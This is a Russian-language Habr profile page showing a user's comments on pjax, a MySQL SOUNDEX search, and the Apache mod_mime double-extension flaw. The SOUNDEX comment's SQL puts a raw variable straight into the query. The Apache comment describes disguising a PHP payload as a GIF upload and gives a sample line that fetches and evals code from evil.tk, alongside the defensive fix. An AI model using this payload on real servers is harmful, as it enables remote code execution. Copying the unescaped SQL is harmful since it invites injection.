Pull to refresh
46
0
Александр @AlexanderPHP

Пользователь

Send message
Для этой цели есть библиотека pjax (https://github.com/imsamurai/jquery-pjax). И скоро мы со ckald сделаем демо-страничку с подробным описанием всех возможностей. Там есть и pushState и hash navigation.
В своё время реализовывали с другом поисковый движок — обходились лишь стандартными алгоритмами СУБД MySQL. Ваш «Лос Анженес Бидва» нашелся бы прекрасно, как не коверкай. Краткая суть:
1. Режем «плохие» слова (союзы, описания, и т.п.)
Боль в галаве -> галаве
2. Переводим строку в транслит
galave
3. Осуществляем поиск по SOUNDEX каждого слова
OR ( SOUNDEX( r.phrase ) LIKE SOUNDEX( '$word' ) )
Этот поиск вытягивает из базы «правильные» слова и заменяет ими «неправильные», тем самым нормализуя запрос (двумя зайцами можно убить и склонение существительных)
galave G410 -> голова (golova) G410
4. Теперь осуществляем релевантный поиск через MATCH AGAINST
Я могу предположить только одно. Иногда в Apache определяют, какие файлы передавать на обработку mod_php, с помощью mod_mime. А он, в свою очередь, определяет по «расширению имени» файла. Одно но: если файл имеет несколько точек в имени, то mod_mime считает, что это «несколько расширений», в этом случае для исполнения файла mod_php достаточно, чтобы любое из них совпало. А mime-тип, с которым вернёт файл Apache, потом определится из последнего «расширения».

Пример: файл image.php.gif будет передан на обработку mod_php, а потом Apache результат пришлёт как image/gif.

Таким образом можно сделать файл, который и под типичный регэксп картинки \.(png|gif|jpg)$ подпадёт, и будет на самом деле картинкой (открываться без ошибок функциями типа imagecreatefromgif), но в комментарии этой картинки будет текст наподобие <?php eval(file_get_contents("http://evil.tk/")); ?> и эта картинка будет выполнена сервером как скрипт php (ну чёрт с ним, с мусором до и после php-кода). А методом из статьи такую картинку не найти — там ищут только по файлам "*.php", а у нас "*.gif".

Хоть Apache тут по сути и не виноват, виновата кривая конфигурация веб-сервера, которая не учитывает эту особенность mod_mime. Отключение исполнения php в директориях, куда помещаются загружаемые файлы, проблему решает. Тем не менее, все винят Apache :)

P.S. Советую любителям nginx запихнуть свой фанатизм поглубже. Нет, nginx — сервер хороший, фанатизм плохой. Стоит понимать, что Apache — высококачественный и очень распространённый софт, с которым знакомо огромное число администраторов и разработчиков, и отказаться от него в целом не проще, чем от винды, например, а то и вообще сложнее.

Information

Rating
Does not participate
Location
Москва, Москва и Московская обл., Россия
Works in
Registered
Activity